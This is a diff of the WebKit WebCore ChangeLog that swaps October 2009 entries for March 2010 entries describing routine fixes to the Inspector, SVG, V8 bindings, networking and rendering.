-        (WebCore::InspectorController::evaluateForTestInFrontend):
+        Rubber stamped by Gustavo Noronha Silva.
 
-2009-10-15  Joseph Pecoraro  <joepeck@webkit.org>
+        [Gtk+] Avoid making a copy of the HTTPHeaderMap.
 
-        Fix Windows build.
+        ResourceRequest::httpHeaderFields() is returning a const
+        reference but we are storing it as a simple value. This
+        means that we run either the copy constructor or the assignment
+        operator and make a copy of the RefPtrs.
 
-        * dom/Document.idl:
+        This extra copy can be avoided easily by storing
+        the result as a const reference.
 
-2009-10-14  Joseph Pecoraro  <joepeck@webkit.org>
+        * platform/network/soup/ResourceRequestSoup.cpp:
+        (WebCore::ResourceRequest::toSoupMessage):
+        * platform/network/soup/ResourceResponseSoup.cpp:
+        (WebCore::ResourceResponseSoup::toSoupMessage):
 
-        Reviewed by Adam Barth.
+2010-03-17  Alexander Pavlov  <apavlov@chromium.org>
 
-        [HTML5] Add document.head
-        https://bugs.webkit.org/show_bug.cgi?id=30232
+        Reviewed by Pavel Feldman.
 
-        Test is fast/dom/document-head.html
+        Web Inspector: When switching resources in the Resources panel, the Content tab is always selected
+        https://bugs.webkit.org/show_bug.cgi?id=36222
 
-        * dom/Document.idl: added readonly attribute head
+        * inspector/front-end/ResourcesPanel.js:
+        (WebInspector.ResourcesPanel.prototype.showResource):
 
-2009-10-14  Matt Mueller  <mattm@chromium.org>
+2010-03-17  Brady Eidson  <beidson@apple.com>
 
         Reviewed by Darin Adler.
 
-        Check FNonNeg after the unit switch to avoid valgrind uninitialised conditional reference in WebCore::CSSParser::validUnit.  See http://crbug.com/20939.
-        https://bugs.webkit.org/show_bug.cgi?id=30347
-        https://bugs.webkit.org/show_bug.cgi?id=22772
+        databaseIdentifiers are not filtered for slashes
+        <rdar://problem/7708789> and https://bugs.webkit.org/show_bug.cgi?id=36243
 
-        Covered by running LayoutTests/fast/css/invalid-percentage-property.html under valgrind.
+        In addition to filtering for '/' and '\', to remove the directory vulnerability
+        on all platforms, it seems worth it to also escape other characters that are
+        obviously dangerous or illegal to have in a filename (mostly inspired by the 
+        Windows illegal-character list).
 
-        * css/CSSParser.cpp:
-        (WebCore::CSSParser::validUnit):
+        No new tests - It's unclear how a test could possibly work into our testing
+        infrastructure.
 
-2009-10-14  Adam Barth  <abarth@webkit.org>
+        * page/SecurityOrigin.cpp:
+        (WebCore::): Added a 128-bool table "needsEscaping" that has a true/false answer
+          for lower-ASCII.
+        (WebCore::SecurityOrigin::SecurityOrigin):
+        (WebCore::SecurityOrigin::createFromDatabaseIdentifier): "Unescape" the host
+          component using the KURL utility.
+        (WebCore::shouldEscapeUChar): If the char is lower-ASCII, look it up in the 
+          needsEscaping table. Otherwise, let it pass.
+        (WebCore::encodedHost): Modeled after KURL's host escaping method, but targeted 
+          for the escaping considerations for the host component. We don't use the KURL
+          version because this one is "different" enough because it operates on UTF16 and
+          has its own "is bad character?" decider.
+        (WebCore::SecurityOrigin::databaseIdentifier): Create the escaped host if needed,
+          and use it instead of the unescaped host.
+        * page/SecurityOrigin.h:
 
-        Reviewed by Sam Weinig.
+2010-03-17  Dmitry Titov  <dimich@chromium.org>
 
-        Move scrolling code from FrameLoader to FrameView
-        https://bugs.webkit.org/show_bug.cgi?id=30370
+        Reviewed by Dimitri Glazkov.
 
-        This code is about controlling the Frame's view, not about loading
-        stuff into the frame.
+        [v8] Avoid reentry into v8 after TerminateExecution() on a worker thread.
+        https://bugs.webkit.org/show_bug.cgi?id=36239
 
-        * loader/FrameLoader.cpp:
-        (WebCore::FrameLoader::finishedParsing):
-        (WebCore::FrameLoader::scrollToAnchor):
-        * page/FrameView.cpp:
-        (WebCore::FrameView::scrollToFragment):
-        (WebCore::FrameView::scrollToAnchor):
-        * page/FrameView.h:
+        Test: fast/workers/termination-with-port-messages.html
 
-2009-10-14  Oliver Hunt  <oliver@apple.com>
+        * bindings/v8/V8Proxy.h:
+        (WebCore::throwError): Avoid throwing if v8 execution is terminated anyways.
+        * bindings/v8/WorkerScriptController.h:
+        (WebCore::WorkerScriptController::proxy): Return V8 proxy as 0 if execution is terminating. Callers to check for 0 before invoking v8.
+        * bindings/v8/custom/V8WorkerContextCustom.cpp:
+        (WebCore::SetTimeoutOrInterval): Bail out if v8 proxy is 0.
+        (WebCore::toV8): Ditto
 
-        Reviewed by Geoff Garen.
+2010-03-17  José Millán Soto  <jmillan@igalia.com>
 
-        Make typeinfo flags default to false
-        https://bugs.webkit.org/show_bug.cgi?id=30372
-        
-        Part 1. Reverse the HasStandardGetOwnPropertySlot flag.
+        Reviewed by Adam Barth.
 
-        * bindings/js/JSDOMBinding.h:
-        (WebCore::DOMObjectWithGlobalPointer::createStructure):
-        (WebCore::DOMConstructorObject::createStructure):
-        * bindings/js/JSDOMWindowShell.h:
-        (WebCore::JSDOMWindowShell::createStructure):
-        * bindings/js/JSHTMLAllCollection.h:
-        (WebCore::JSHTMLAllCollection::createStructure):
-        * bindings/js/JSQuarantinedObjectWrapper.h:
-        (WebCore::JSQuarantinedObjectWrapper::createStructure):
-        * bindings/scripts/CodeGeneratorJS.pm:
-        * bridge/objc/objc_runtime.h:
-        (JSC::Bindings::ObjcFallbackObjectImp::createStructure):
-        * bridge/runtime_array.h:
-        (JSC::RuntimeArray::createStructure):
-        * bridge/runtime_method.h:
-        (JSC::RuntimeMethod::createStructure):
-        * bridge/runtime_object.h:
-        (JSC::RuntimeObjectImp::createStructure):
+        Change the way of prefetching DNS to allow prefetching function to use full URL
+        https://bugs.webkit.org/show_bug.cgi?id=35589
 
-2009-10-14  Adam Barth  <abarth@webkit.org>
+        Creates a new function, ResourceHandle::prepareForURL, whose default implementation
+        calls prefetchDNS with the host of the given URL as the parameter.
+        Soup implementation of ResourceHandle::prepareForURL executes soup_session_prepare_for_uri.
+        Soup implementation of prefetchDNS is removed.
+        Changed various prefetchDNS calls to ResourceHandle::prepareForURL calls.
 
-        Reviewed by Darin Adler.
+        * GNUmakefile.am:
+        * html/HTMLAnchorElement.cpp:
+        (WebCore::HTMLAnchorElement::parseMappedAttribute):
+        * html/HTMLLinkElement.cpp:
+        (WebCore::HTMLLinkElement::process):
+        * page/Chrome.cpp:
+        (WebCore::Chrome::mouseDidMoveOverElement):
+        * platform/network/DNS.h:
+        * platform/network/ResourceHandle.cpp:
+        (WebCore::ResourceHandle::prepareForURL):
+        * platform/network/ResourceHandle.h:
+        * platform/network/chromium/DNSChromium.cpp:
+        (WebCore::ResourceHandle::prepareForURL):
+        * platform/network/soup/DNSSoup.cpp: Removed.
+        * platform/network/soup/ResourceHandleSoup.cpp:
+        (WebCore::ResourceHandle::prepareForURL):
+        * wml/WMLAElement.cpp:
+        (WebCore::WMLAElement::parseMappedAttribute):
 
-        [XSSAuditor] Add an exception for local files
-        https://bugs.webkit.org/show_bug.cgi?id=30352
+2010-03-17  Kenneth Russell  <kbr@google.com>
 
-        Reduce XSS auditor false positives by always letting pages load scripts
-        from their own host. We don't actually know of any false positives
-        that this prevents, but it seems like a good idea.
+        Reviewed by Darin Fisher.
 
-        One subtly is that we don't add this exception for scripts that have a
-        query string because (1) URLs with query strings are more apt to
-        confuse servers and (2) it is much less common to load scripts with a
-        query string.
+        Revert WebGL context attributes changes 33416 / r56074 and 36200 / r56093
+        https://bugs.webkit.org/show_bug.cgi?id=36233
 
-        Tests: http/tests/security/xssAuditor/script-tag-with-source-same-host-with-query.html
-               http/tests/security/xssAuditor/script-tag-with-source-same-host.html
+        The patch for bug 33416, which added multisampling support to the
+        WebGL back buffer, uncovered some OpenGL driver bugs on the build
+        bots which need further investigation to determine the appropriate
+        workaround. Reverting this change, the minor build fix in 36189,
+        and the skipping of the affected tests in bug 36200.
 
-        * page/XSSAuditor.cpp:
-        (WebCore::XSSAuditor::canLoadExternalScriptFromSrc):
+        Built and tested WebKit and Chromium and ran all WebGL layout
+        tests in both.
 
-2009-10-14  Nikolas Zimmermann  <nzimmermann@rim.com>
+        * bindings/v8/custom/V8HTMLCanvasElementCustom.cpp:
+        (WebCore::V8HTMLCanvasElement::getContextCallback):
+        * platform/graphics/GraphicsContext3D.h:
+        * platform/graphics/mac/Canvas3DLayer.h:
+        * platform/graphics/mac/Canvas3DLayer.mm:
+        (-[Canvas3DLayer drawInCGLContext:pixelFormat:forLayerTime:displayTime:]):
+        * platform/graphics/mac/GraphicsContext3DMac.cpp:
+        (WebCore::GraphicsContext3D::GraphicsContext3D):
+        (WebCore::GraphicsContext3D::~GraphicsContext3D):
+        (WebCore::GraphicsContext3D::reshape):
+        (WebCore::GraphicsContext3D::bindFramebuffer):
+        (WebCore::GraphicsContext3D::readPixels):
+        * platform/graphics/mac/GraphicsLayerCA.mm:
+        (WebCore::GraphicsLayerCA::setContentsToGraphicsContext3D):
 
-        Reviewed by George Staikos.
+2010-03-17  Yael Aharon  <yael.aharon@nokia.com>
 
-        Kill virtual contextElement() method spread all over SVG code
-        https://bugs.webkit.org/show_bug.cgi?id=30183
-
-        Remove virtual contextElement() function from all SVG*Element classes, as all animated properties live in the
-        SVG*Element classes now instead of the SVGFitToViewBox / SVGURIReference / SVGExternalResourcesRequired
-        subclasses. This is a first step to working animVal support. More patches will follow that depend on this change.
-
-        Remove "This file is part of the KDE project" from several files, change my old mail adress wildfox -> zimmermann,
-        and remove vim modelines on all files I touched. No change in functionality, thus no new tests.
-
-        * svg/SVGAElement.h: Remove virtual contextElement() method. Change OwnerType of ANIMATED_* macros to this class.
-        * svg/SVGAltGlyphElement.h: Remove virtual contextElement() method.
-        * svg/SVGAnimatedProperty.h:
-        (WebCore::::synchronize):
-        (WebCore::::startAnimation):
-        (WebCore::::stopAnimation):
-        * svg/SVGAnimationElement.h: Remove virtual contextElement() method. Change OwnerType of ANIMATED_* macros to this class.
-        * svg/SVGCircleElement.h: Ditto.
-        * svg/SVGClipPathElement.h: Ditto.
-        * svg/SVGCursorElement.h: Ditto.
-        * svg/SVGDefsElement.h: Ditto.
-        * svg/SVGEllipseElement.h: Ditto.
-        * svg/SVGExternalResourcesRequired.h: Remove pure-virtual contextElement() method.
-        * svg/SVGFEImageElement.h: Remove virtual contextElement() method. Change OwnerType of ANIMATED_* macros to this class.
-        * svg/SVGFELightElement.h: Remove virtual contextElement() method.
-        * svg/SVGFEMergeNodeElement.h: Ditto.
-        * svg/SVGFilterElement.h: Remove virtual contextElement() method. Change OwnerType of ANIMATED_* macros to this class.
-        * svg/SVGFilterPrimitiveStandardAttributes.h: Remove virtual contextElement() method.
-        * svg/SVGFitToViewBox.cpp:
-        (WebCore::SVGFitToViewBox::parseViewBox): Add Document* parameter - we used to fetch the Document pointer from the context element.
-        (WebCore::SVGFitToViewBox::parseMappedAttribute): Ditto.
-        * svg/SVGFitToViewBox.h: Remove pure-virtual contextElement() method.
-        * svg/SVGFontElement.h: Remove virtual contextElement() method. Change OwnerType of ANIMATED_* macros to this class.
-        * svg/SVGForeignObjectElement.h: Ditto.
-        * svg/SVGGElement.h: Ditto.
-        * svg/SVGGradientElement.h: Ditto.
-        * svg/SVGImageElement.h: Ditto.
-        * svg/SVGLineElement.h: Ditto.
-        * svg/SVGMPathElement.h: Ditto. Fix license indention.
-        * svg/SVGMarkerElement.cpp:
-        (WebCore::SVGMarkerElement::parseMappedAttribute): Pass document() to SVGFitToViewBox::parseMappedAttribute().
-        * svg/SVGMarkerElement.h: Remove virtual contextElement() method. Change OwnerType of ANIMATED_* macros to this class.
-        * svg/SVGMaskElement.h: Ditto.
-        * svg/SVGPathElement.h: Ditto.
-        * svg/SVGPatternElement.cpp:
-        (WebCore::SVGPatternElement::parseMappedAttribute): Pass document() to SVGFitToViewBox::parseMappedAttribute().
-        * svg/SVGPatternElement.h: Remove virtual contextElement() method. Change OwnerType of ANIMATED_* macros to this class.
-        * svg/SVGPolyElement.cpp:
-        (WebCore::SVGPolyElement::updateAnimatedSVGAttribute): synchronizeProperty<...>() has been renamed to PropertySynchronizer<...>::synchronize().
-        * svg/SVGPolyElement.h: Remove virtual contextElement() method. Change OwnerType of ANIMATED_* macros to this class.
-        * svg/SVGRectElement.h: Ditto.
-        * svg/SVGSVGElement.cpp:
-        (WebCore::SVGSVGElement::parseMappedAttribute): Pass document() to SVGFitToViewBox::parseMappedAttribute().
-        * svg/SVGSVGElement.h: Remove virtual contextElement() method. Change OwnerType of ANIMATED_* macros to this class.
-        * svg/SVGScriptElement.h: Ditto.
-        * svg/SVGSwitchElement.h: Ditto.
-        * svg/SVGSymbolElement.cpp:
-        (WebCore::SVGSymbolElement::parseMappedAttribute): Pass document() to SVGFitToViewBox::parseMappedAttribute().
-        * svg/SVGSymbolElement.h: Remove virtual contextElement() method. Change OwnerType of ANIMATED_* macros to this class.
-        * svg/SVGTRefElement.h: Remove virtual contextElement() method.
-        * svg/SVGTextContentElement.h: Remove virtual contextElement() method. Change OwnerType of ANIMATED_* macros to this class.
-        * svg/SVGTextPathElement.h: Remove virtual contextElement() method.
-        * svg/SVGUseElement.h: Remove virtual contextElement() method. Change OwnerType of ANIMATED_* macros to this class.
-        * svg/SVGViewElement.cpp:
-        (WebCore::SVGViewElement::parseMappedAttribute): Pass document() to SVGFitToViewBox::parseMappedAttribute().
-        * svg/SVGViewElement.h: Remove virtual contextElement() method. Change OwnerType of ANIMATED_* macros to this class.
-        * svg/SVGViewSpec.cpp:
-        (WebCore::SVGViewSpec::setViewBoxString): Pass document() to SVGFitToViewBox::parseMappedAttribute().
-        (WebCore::SVGViewSpec::parseViewSpec): Ditto.
-        * svg/SVGViewSpec.h: Devirtualize contextElement() method, it's the only place where contextElement() remains needed.
-
-2009-10-14  Dirk Schulze  <krit@webkit.org>
+        Reviewed by Darin Adler.
 
-        Reviewed by Nikolas Zimmermann.
+        Optimize painting for HTMLProgressElement
+        https://bugs.webkit.org/show_bug.cgi?id=36113
+        Cache the progress bar's position, so it is not required to recalculate
+        it for each repaint. 
+        Call repaintRectangle() when the position changes.
 
-        SVG Masking with wrong offset
-        [https://bugs.webkit.org/show_bug.cgi?id=30325]
+        No new tests, as no new functionality introduced.
 
-        SVGMaskElement moves the mask image graphics context to the wrong location.
-        In objectBoundingBoxMode the maskDestRect gets translated. This transformation
-        is not used in the later calculation. Fix by consistenly calculating the translation
-        offsets from the final mask destination rect.
+        * html/HTMLProgressElement.cpp:
+        (WebCore::HTMLProgressElement::parseMappedAttribute):
+        * platform/qt/RenderThemeQt.cpp:
+        (WebCore::RenderThemeQt::getNumberOfPixelsForProgressPosition):
+        (WebCore::RenderThemeQt::paintProgressBar):
+        * platform/qt/RenderThemeQt.h:
+        * rendering/RenderProgress.cpp:
+        (WebCore::RenderProgress::RenderProgress):
+        (WebCore::RenderProgress::updateFromElement):
+        * rendering/RenderProgress.h:
+        (WebCore::RenderProgress::position):
+        * rendering/RenderTheme.cpp:
+        (WebCore::RenderTheme::getNumberOfPixelsForProgressPosition):
+        * rendering/RenderTheme.h:
 
-        Test: svg/custom/mask-with-default-value.svg
+2010-03-17  Antonio Gomes  <tonikitoo@webkit.org>
 
-        * svg/SVGMaskElement.cpp:
-        (WebCore::SVGMaskElement::drawMaskerContent):
+        Mac Buildfix: Using ASSERT_UNUSED instead of ASSERT.
 
-2009-10-14  Kevin Decker  <kdecker@apple.com>
+        Reviewed by Simon fraser.
+        Patch by Antonio Gomes <tonikitoo@webkit.org>
 
-        Rubberstamped by Jon Honeycutt.
-        
-        Export a few more showSubstituteImage() related methods.
-        
-        * WebCore.base.exp:
-        * WebCore.xcodeproj/project.pbxproj:
+        * dom/SelectElement.cpp:
+        (WebCore::SelectElement::listBoxDefaultEventHandler):
 
-2009-10-14  Evan Martin  <evan@chromium.org>
+2010-03-17  Enrica Casucci  <enrica@apple.com>
 
         Reviewed by Darin Adler.
 
-        Stringify CSS units manually (without printf) to make the formatting
-        locale-insensitive and obey CSS spec with respect to large values.
-        
-        https://bugs.webkit.org/show_bug.cgi?id=18994
+        Missing support for showing compositing layers borders and repaint count on Windows.
+        <rdar://problem/7760736>
+        <https://bugs.webkit.org/show_bug.cgi?id=36197>
 
-        * css/CSSPrimitiveValue.cpp:
-        (WebCore::appendCSSDouble):
-        (WebCore::formatWithUnits):
-        (WebCore::CSSPrimitiveValue::cssText):
+        * platform/graphics/win/GraphicsLayerCACF.cpp:
+        (WebCore::WebLayer::drawInContext): Modified to use the correct font on Windows.
 
-2009-10-14  Mark Seaborn  <mseaborn@google.com>
+2010-03-16  Luiz Agostini  <luiz.agostini@openbossa.org>
 
-        Reviewed by Darin Adler.
-
-        Check error return value in Perl build script
-        https://bugs.webkit.org/show_bug.cgi?id=30316
-
-        * css/makevalues.pl: Die if gperf fails.
-
-2009-10-14  Dirk Schulze  <krit@webkit.org>
+        Reviewed by Antti Koivisto.
 
-        Reviewed by Nikolas Zimmermann.
+        [Qt] Multiselect Popup - SelectElement refactoring.
+        https://bugs.webkit.org/show_bug.cgi?id=36124
 
-        SVG wrong filterRegions for userSpaceOnUse and percentage values
-        [https://bugs.webkit.org/show_bug.cgi?id=30330]
+        As it is today it is not possible to the menulists popups to tell SelectElement
+        that more then one option is selected. If you select one the other ones
+        selected state will turn off.
 
-        Some clean-up of the SVG filter calculation code. This clean-up
-        also fixes the problem with percentage and userSpaceInUse mode.
+        For <select multiple> I needed to extend the API used by menulist popups. This
+        is the first step. Just refactoring SelectElement without any behavior change.
+        Separating code that will be reused in future patches.
 
-        Test: svg/filters/subRegion-in-userSpace.svg
+        * dom/SelectElement.cpp:
+        (WebCore::SelectElement::updateSelectedState):
+        (WebCore::SelectElement::listBoxDefaultEventHandler):
+        * dom/SelectElement.h:
 
-        * platform/graphics/filters/FilterEffect.cpp:
-        (WebCore::FilterEffect::FilterEffect):
-        * platform/graphics/filters/FilterEffect.h:
-        * rendering/SVGRenderSupport.cpp:
-        (WebCore::SVGRenderBase::filterBoundingBoxForRenderer):
-        * svg/SVGFilterElement.cpp:
-        (WebCore::SVGFilterElement::buildFilter):
-        (WebCore::SVGFilterElement::canvasResource):
-        * svg/SVGFilterElement.h:
-        * svg/SVGFilterPrimitiveStandardAttributes.cpp:
-        (WebCore::SVGFilterPrimitiveStandardAttributes::setStandardAttributes):
-        * svg/graphics/SVGResourceFilter.cpp:
-        (WebCore::SVGResourceFilter::SVGResourceFilter):
-        (WebCore::SVGResourceFilter::~SVGResourceFilter):
-        (WebCore::SVGResourceFilter::addFilterEffect):
-        (WebCore::SVGResourceFilter::prepareFilter):
-        * svg/graphics/SVGResourceFilter.h:
-        (WebCore::SVGResourceFilter::create):
-        * svg/graphics/filters/SVGFilter.cpp:
-        (WebCore::SVGFilter::SVGFilter):
-        (WebCore::SVGFilter::calculateEffectSubRegion):
-        (WebCore::SVGFilter::create):
-        * svg/graphics/filters/SVGFilter.h:
+2010-03-17  Nate Chapin  <japhet@chromium.org>
 
-2009-10-14  Chris Marrin  <cmarrin@apple.com>
+        Unreviewed, Chromium build fix.
 
-        The last change fixed the problem, removing diagnostic printfs.
+        Delete the correct file this time.
 
-        * platform/graphics/mac/GraphicsContext3DMac.cpp:
-        (WebCore::GraphicsContext3D::GraphicsContext3D):
+        * bindings/v8/custom/V8XMLHttpRequestCustom.cpp: Copied from WebCore/bindings/v8/custom/V8XMLHttpRequestCustom.cpp.
+        * bindings/v8/custom/V8XMLHttpRequestUploadCustom.cpp: Removed.
 
-2009-10-14  Kevin Ollivier  <kevino@theolliviers.com>
+2010-03-17  Nate Chapin  <japhet@chromium.org>
 
-        CURL build fix for versions < 7.18.
+        Reviewed by Dimitri Glazkov.
 
-        * platform/network/curl/ResourceHandleCurl.cpp:
-        (WebCore::ResourceHandle::setDefersLoading):
-        * platform/network/curl/ResourceHandleManager.cpp:
-        (WebCore::ResourceHandleManager::initializeHandle):
+        [V8] Remove custom bindings callbacks that aren't in use.
+        (The relevant .idl doesn't mark them as V8Custom or Custom).
+        
+        https://bugs.webkit.org/show_bug.cgi?id=33066
 
-2009-10-14  Chris Marrin  <cmarrin@apple.com>
+        * Android.v8bindings.mk:
+        * WebCore.gypi:
+        * bindings/scripts/CodeGeneratorV8.pm:
+        * bindings/v8/custom/V8DOMWindowCustom.cpp:
+        * bindings/v8/custom/V8WebGLArrayCustom.h:
+        * bindings/v8/custom/V8WebGLByteArrayCustom.cpp:
+        * bindings/v8/custom/V8WebGLFloatArrayCustom.cpp:
+        * bindings/v8/custom/V8WebGLIntArrayCustom.cpp:
+        * bindings/v8/custom/V8WebGLShortArrayCustom.cpp:
+        * bindings/v8/custom/V8WebGLUnsignedByteArrayCustom.cpp:
+        * bindings/v8/custom/V8WebGLUnsignedIntArrayCustom.cpp:
+        * bindings/v8/custom/V8WebGLUnsignedShortArrayCustom.cpp:
+        * bindings/v8/custom/V8XMLHttpRequestCustom.cpp:
+        * bindings/v8/custom/V8XMLHttpRequestUploadCustom.cpp: Removed.
 
-        One more round of changes to figure out why the webgl 
-        tests are crashing on the build bot. Here I am trying
-        to see if we can create a software renderer. I am also
-        printing the found pixel formats.
+2010-03-17  Steve Block  <steveblock@google.com>
 
-        * platform/graphics/mac/GraphicsContext3DMac.cpp:
-        (WebCore::GraphicsContext3D::GraphicsContext3D):
+        Reviewed by Dimitri Glazkov.
 
-2009-10-14  Yael Aharon  <yael.aharon@nokia.com>
- 
-        Reviewed by Simon Hausmann.
- 
-        Enabling NPAPI plugin support on Qt Webkit for S60 platform
-        https://bugs.webkit.org/show_bug.cgi?id=29302
+        Adds ENABLE(WORKERS) guards to V8 bindings
+        https://bugs.webkit.org/show_bug.cgi?id=36221
 
-        Also implemented by Mahesh Kulkarni<mahesh.kulkarni@nokia.com>, 
-        Rohini Ananth <rohini.ananth@nokia.com> and help from Norbert Lesr
-        <norbert.leser@nokia.com>
-         
-        * WebCore.pro:
-        Enabling ENABLE_NETSCAPE_PLUGIN_API for S60 and added S60 specific 
-        new plugin files to be compiled under symbian: macro
+        Build fix only, no new tests.
 
-        * bridge/npapi.h:
-        Added NPEvent and NPRegion definition for Symbian
+        * bindings/v8/V8DOMWrapper.cpp:
+        (WebCore::V8DOMWrapper::instantiateV8Object):
+        * bindings/v8/V8Proxy.cpp:
+        (WebCore::toV8Context):
 
-        * plugins/PluginPackage.h:
-        Added S60 specific plugin interface and plugin loader variables
-        * plugins/PluginPackage.cpp:
-        (WebCore::PluginPackage::unload): Added !PLATFORM(SYMBIAN) macro.
-        Default implementation to be used only for non-symbian platform
-        * plugins/PluginDatabase.cpp:
-        Macro !SYMBIAN checking
-        * plugins/PluginView.h:
-        Add Symbian to platforms that support setNPWindowIfNeeded
-        * plugins/PluginView.cpp:
-        (WebCore::PluginView::setFrameRect): Add Symbian to platforms that
-        call setNPWindowRect from setFrameRect
-         
-        Added folder 'symbian' which contains implementation files for S60
-        platform-specific NPAPI plugin functionality, under /plugins folder
-        * plugins/symbian
-        * plugins/symbian/npinterface.h:
-        Plugin Interface to be implemented by S60 NPAPI plugins 
-        * plugins/symbian/PluginContainerSymbian.h:
-        * plugins/symbian/PluginContainerSymbian.cpp:
-        * plugins/symbian/PluginDatabaseSymbian.cpp:
-        * plugins/symbian/PluginViewSymbian.cpp:
-        * plugins/symbian/PluginPackageSymbian.cpp:
+2010-03-17  Yury Semikhatsky  <yurys@chromium.org>
 
-2009-10-14  Chris Marrin  <cmarrin@apple.com>
+        Reviewed by Pavel Feldman.
 
-        More changes to figure out why the webgl tests are crashing on the build bot.
+        Remove unused reference to InspectorController from InspectorFrontend.
 
-        * platform/graphics/mac/GraphicsContext3DMac.cpp:
-        (WebCore::GraphicsContext3D::GraphicsContext3D):
+        https://bugs.webkit.org/show_bug.cgi?id=36218
 
-2009-10-14  Victor Wang  <victorw@chromium.org>
+        * inspector/InspectorFrontend.h:
 
-        Reviewed by David Hyatt.
+2010-03-17 Ilya Tikhonovsky  <loislo@chromium.org>
 
-        Round non-integer line height values.
+        Reviewed by Pavel Feldman.
 
-        Change webkit to rounding non-integer line height values
-        instead of truncating them. This fixes a layout test
-        failure on Windows and matches the calculation in IE and Firefox. 
+        WebInspector: Timeline improvements - next iteration.
 
-        https://bugs.webkit.org/show_bug.cgi?id=24434
+        The top level records should be collapsed.
+        Virtually linked events should be nested in Timeline like Send Request and
+        corresponding Received Responce, Timer Install and Timer Fire etc.
+        It should be possible to see Main Resource request.
 
-        Test: fast/css/line-height-rounding.html
-              fast/forms/textarea-scrollbar-height.htm
+        https://bugs.webkit.org/show_bug.cgi?id=36122
 
-        * css/CSSComputedStyleDeclaration.cpp:
-        (WebCore::CSSComputedStyleDeclaration::getPropertyCSSValue):
-        * rendering/InlineFlowBox.cpp:
-        (WebCore::InlineFlowBox::computeLogicalBoxHeights):
-        * rendering/RenderBR.cpp:
-        (WebCore::RenderBR::lineHeight):
-        * rendering/style/RenderStyle.h:
-        (WebCore::InheritedFlags::computedLineHeight):
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::resetScriptObjects):
+        (WebCore::InspectorController::didReceiveResponse):
+        * inspector/InspectorTimelineAgent.cpp:
+        (WebCore::InspectorTimelineAgent::willReceiveResourceResponse):
+        (WebCore::InspectorTimelineAgent::didReceiveResourceResponse):
+        * inspector/InspectorTimelineAgent.h:
+        * inspector/front-end/TimelinePanel.js:
+        (WebInspector.TimelinePanel):
+        (WebInspector.TimelinePanel.prototype._createStatusbarButtons):
+        (WebInspector.TimelinePanel.prototype.addRecordToTimeline):
+        (WebInspector.TimelinePanel.prototype._findParentRecord):
+        (WebInspector.TimelinePanel.prototype._innerAddRecordToTimeline):
+        (WebInspector.TimelinePanel.prototype.resize):
+        (WebInspector.TimelinePanel.prototype._createTopLevelRecord):
+        (WebInspector.TimelinePanel.prototype.reset):
+        (WebInspector.TimelinePanel.prototype._clean):
+        (WebInspector.TimelinePanel.prototype._refresh):
+        (WebInspector.TimelinePanel.prototype._refreshRecords):
+        (WebInspector.TimelinePanel.prototype._addToRecordsWindow):
+        (WebInspector.TimelineCalculator.prototype.computeBarGraphPercentages):
+        (WebInspector.TimelineCalculator.prototype.updateBoundaries):
+        (WebInspector.TimelineRecordGraphRow):
+        (WebInspector.TimelineRecordGraphRow.prototype.update):
+        (WebInspector.TimelinePanel.FormattedRecord):
+        (WebInspector.TimelinePanel.FormattedRecord.prototype.get children):
+        (WebInspector.TimelinePanel.FormattedRecord.prototype._generatePopupContent):
+        * inspector/front-end/inspector.css:
+        * loader/ResourceLoader.cpp:
+        (WebCore::ResourceLoader::didReceiveResponse):
 
-2009-10-13  Kelly Norton  <knorton@google.com>
+2010-03-17  Alexander Pavlov  <apavlov@chromium.org>
 
         Reviewed by Pavel Feldman.
 
-        Removes the persistent setting for InspectorTimelineAgent and renames timeline related
-        interfaces to be more consistent with the JavaScript profiler.
+        Web Inspector: Reimplement style-related audits using native API
+        https://bugs.webkit.org/show_bug.cgi?id=36172
 
         * inspector/InspectorBackend.cpp:
-        (WebCore::InspectorBackend::startTimelineProfiler):
-        (WebCore::InspectorBackend::stopTimelineProfiler):
-        (WebCore::InspectorBackend::timelineProfilerEnabled):
+        (WebCore::InspectorBackend::getAllStyles):
         * inspector/InspectorBackend.h:
         * inspector/InspectorBackend.idl:
-        * inspector/InspectorController.cpp:
-        (WebCore::InspectorController::setFrontendProxyObject):
-        (WebCore::InspectorController::startTimelineProfiler):
-        (WebCore::InspectorController::stopTimelineProfiler):
-        (WebCore::InspectorController::timelineProfilerEnabled):
-        * inspector/InspectorController.h:
+        * inspector/InspectorDOMAgent.cpp:
+        (WebCore::InspectorDOMAgent::getAllStyles):
+        (WebCore::InspectorDOMAgent::getMatchedCSSRules):
+        (WebCore::InspectorDOMAgent::buildObjectForStyleSheet):
+        (WebCore::InspectorDOMAgent::buildObjectForRule):
+        * inspector/InspectorDOMAgent.h:
         * inspector/InspectorFrontend.cpp:
-        (WebCore::InspectorFrontend::timelineProfilerWasStarted):
-        (WebCore::InspectorFrontend::timelineProfilerWasStopped):
+        (WebCore::InspectorFrontend::didGetAllStyles):
         * inspector/InspectorFrontend.h:
-        * inspector/front-end/TimelineAgent.js:
-        (WebInspector.timelineProfilerWasStarted):
-        (WebInspector.timelineProfilerWasStopped):
-
-2009-10-01  Yong Li  <yong.li@torchmobile.com>
-
-        Reviewed by Adele Peterson.
-
-        Fix crash when loading invalid image data
-        https://bugs.webkit.org/show_bug.cgi?id=29980
+        * inspector/front-end/AuditRules.js:
+        (WebInspector.AuditRules.evaluateInTargetWindow):
+        (WebInspector.AuditRules.UnusedCssRule.prototype.doRun.evalCallback.selectorsCallback):
+        (WebInspector.AuditRules.UnusedCssRule.prototype.doRun.evalCallback.routine):
+        (WebInspector.AuditRules.UnusedCssRule.prototype.doRun.evalCallback):
+        (WebInspector.AuditRules.UnusedCssRule.prototype.doRun.routine):
+        (WebInspector.AuditRules.UnusedCssRule.prototype.doRun):
+        (WebInspector.AuditRules.ImageDimensionsRule.prototype.doRun):
+        (WebInspector.AuditRules.CssInHeadRule.prototype.doRun):
+        (WebInspector.AuditRules.StylesScriptsOrderRule.prototype.doRun):
+        * inspector/front-end/DOMAgent.js:
+        * inspector/front-end/InjectedScript.js:
+        (injectedScriptConstructor):
 
-        * rendering/RenderImage.cpp:
-        (WebCore::RenderImage::setImageSizeForAltText):
+2010-03-17  Steve Block  <steveblock@google.com>
 
-2009-10-09  Stephen White  <senorblanco@chromium.org>
+        Reviewed by Jeremy Orlow.
 
-        Reviewed by Eric Seidel.
+        Replace instances of bzero in WebCore/bridge common code with memset
+        https://bugs.webkit.org/show_bug.cgi?id=36214
 
-        Fix for NULL ptr deref in canvas's toDataURL().
-        https://bugs.webkit.org/show_bug.cgi?id=30254
+        Syntax change only, no new tests.
 
-        Test: fast/canvas/canvas-toDataURL-crash.html
+        * bridge/jni/JNIUtility.cpp:
+        (JSC::Bindings::getJNIField):
